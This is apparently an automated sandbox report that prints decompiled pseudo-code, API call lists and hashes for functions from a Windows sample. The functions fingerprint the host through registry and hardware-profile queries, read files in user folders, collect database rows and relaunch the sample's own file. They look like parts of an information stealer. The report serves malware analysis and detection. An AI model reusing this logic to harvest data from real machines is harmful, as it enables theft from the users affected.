RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.KERNEL32(00000000,006790A8,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.KERNEL32(00000000,00678EC8,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s
API String ID: 199769609-4073750446
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				void* _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t35;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0x678898
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8); // executed
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0x6789f8
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0); // executed
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_t35 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v284 = _t35;
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x00408596
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 92db46569db86317186caa05b7547d2f1a26bfffc278d4dec6d5c31734ebf9bd
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: 92db46569db86317186caa05b7547d2f1a26bfffc278d4dec6d5c31734ebf9bd
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;
				void* _t30;
				void* _t36;
				int _t39;

				_v8 = 0;
				_v16 = 0;
				_t30 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0); // executed
				_v16 = _t30;
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						_t36 = LocalAlloc(0x40,  *_a12); // executed
						 *_a8 = _t36;
						if( *_a8 != 0) {
							_t39 = ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0); // executed
							if(_t39 == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					FindCloseChangeNotification(_v16); // executed
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073a7
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073ec
0x004073f5
0x004073fd
0x00407415
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
FindCloseChangeNotification.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				void* _t89;
				intOrPtr _t90;
				void* _t92;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *(_v24 + 0x20) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									_t89 = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0); // executed
									 *(_v24 + 0xc) = _t89;
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										_t92 = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20); // executed
										 *(_v24 + 0x20) = _t92;
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *(_v24 + 0x20) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411c9f
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411ccf
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0x6772f0
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41a1f4; // 0x678ee0
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b27b
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.KERNEL32(80000002,006772F0,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.KERNEL32(?,00678EE0,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0x67a310
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41a4dc; // 0x678e80
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0cb
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
RegOpenKeyExA.KERNEL32(80000002,0067A310,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.KERNEL32(?,00678E80,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a1a0; // 0x6724d0
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41a5e4; // 0x678518
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afaf
0x0040afbb
0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.KERNEL32(80000002,006724D0,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.KERNEL32(?,00678518,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;
				int _t8;

				_t8 = GetCurrentHwProfileA( &_v132); // executed
				if(_t8 == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2cd
0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0x67a890
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_t38 =  *0x41a694; // 0x660410
				_v52 = _t38;
				_t43 =  *0x41a770; // 0x677200
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64); // executed
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c01f
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

<, xrefs: 0040C00A

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3F0, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 91
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040A3F0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t40;
				void* _t50;
				intOrPtr _t55;
				void* _t71;
				void* _t73;

				_v12 = 0;
				_v8 = 0;
				E0040B720( &_v276, 0x104);
				E0040B800( &_v276,  &_v276, 0x1c); // executed
				 *0x41aa24( &_v276, _a4);
				E0040B720( &_v540, 0x104);
				 *0x41aa24( &_v540,  &_v276);
				_t55 =  *0x41a74c; // 0x677d20
				 *0x41aa24( &_v540, _t55);
				_t40 = E0040BB70( &_v540); // executed
				_t73 = _t71 + 0xc;
				if(_t40 != 0) {
					_t50 = E00407690( &_v540,  &_v12,  &_v8); // executed
					_t73 = _t73 + 0xc;
					if(_t50 == 0) {
						E00407590( &_v12,  &_v8);
						_t73 = _t73 + 8;
					}
				}
				E004087E0(0x41401a,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24); // executed
				E00409DC0( &_v276, _a8, _a12); // executed
				return E00407590( &_v12,  &_v8);
			}

0x0040a3f9
0x0040a400
0x0040a413
0x0040a421
0x0040a434
0x0040a446
0x0040a459
0x0040a45f
0x0040a46d
0x0040a47a
0x0040a47f
0x0040a484
0x0040a495
0x0040a49a
0x0040a49f
0x0040a4a9
0x0040a4ae
0x0040a4ae
0x0040a49f
0x0040a4d9
0x0040a4f0
0x0040a50b

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A434
lstrcat.KERNEL32(?,?), ref: 0040A459
lstrcat.KERNEL32(?,00677D20), ref: 0040A46D

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00407690: StrStrA.SHLWAPI(00000000,006781D0), ref: 004076E3

Strings

}g, xrefs: 0040A45F

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: }g
API String ID: 4178457443-2387307698
Opcode ID: c9e39828e5bccf5374d15983d90dc071d73c04babb1c7235bec8e405acb0f9f6
Instruction ID: ce2022d65494d5f93f85b5e78ccbe9f151ffe9191f3f48bd5557e70587304a2b
Opcode Fuzzy Hash: c9e39828e5bccf5374d15983d90dc071d73c04babb1c7235bec8e405acb0f9f6
Instruction Fuzzy Hash: 743164B6D1010CABCB14DFD4DC85EDE737CAB5C304F044599F605A7181E678A794CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A510, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040A510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t37;
				void* _t45;
				intOrPtr _t50;
				void* _t64;
				void* _t66;

				_v12 = 0;
				_v8 = 0;
				E0040B720( &_v276, 0x104);
				E0040B800( &_v276,  &_v276, 0x1a); // executed
				 *0x41aa24( &_v276, _a4);
				E0040B720( &_v540, 0x104);
				 *0x41aa24( &_v540,  &_v276);
				_t50 =  *0x41a74c; // 0x677d20
				 *0x41aa24( &_v540, _t50);
				_t37 = E0040BB70( &_v540); // executed
				_t66 = _t64 + 0xc;
				if(_t37 != 0) {
					_t45 = E00407690( &_v540,  &_v12,  &_v8);
					_t66 = _t66 + 0xc;
					if(_t45 == 0) {
						E00407590( &_v12,  &_v8);
						_t66 = _t66 + 8;
					}
				}
				E004087E0(0x41401a,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24); // executed
				return E00407590( &_v12,  &_v8);
			}

0x0040a519
0x0040a520
0x0040a533
0x0040a541
0x0040a554
0x0040a566
0x0040a579
0x0040a57f
0x0040a58d
0x0040a59a
0x0040a59f
0x0040a5a4
0x0040a5b5
0x0040a5ba
0x0040a5bf
0x0040a5c9
0x0040a5ce
0x0040a5ce
0x0040a5bf
0x0040a5f9
0x0040a614

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,?), ref: 0040A579
lstrcat.KERNEL32(?,00677D20), ref: 0040A58D

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00407690: StrStrA.SHLWAPI(00000000,006781D0), ref: 004076E3

Strings

}g, xrefs: 0040A57F

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID: }g
API String ID: 4178457443-2387307698
Opcode ID: c3d17c969c6f5d40b9bec19e94f8e6930b579448806197f220aba69273c194c4
Instruction ID: 5929abeeef62401985c717085424f3a4adc1c8890c023943e0da9d73f2acd4ec
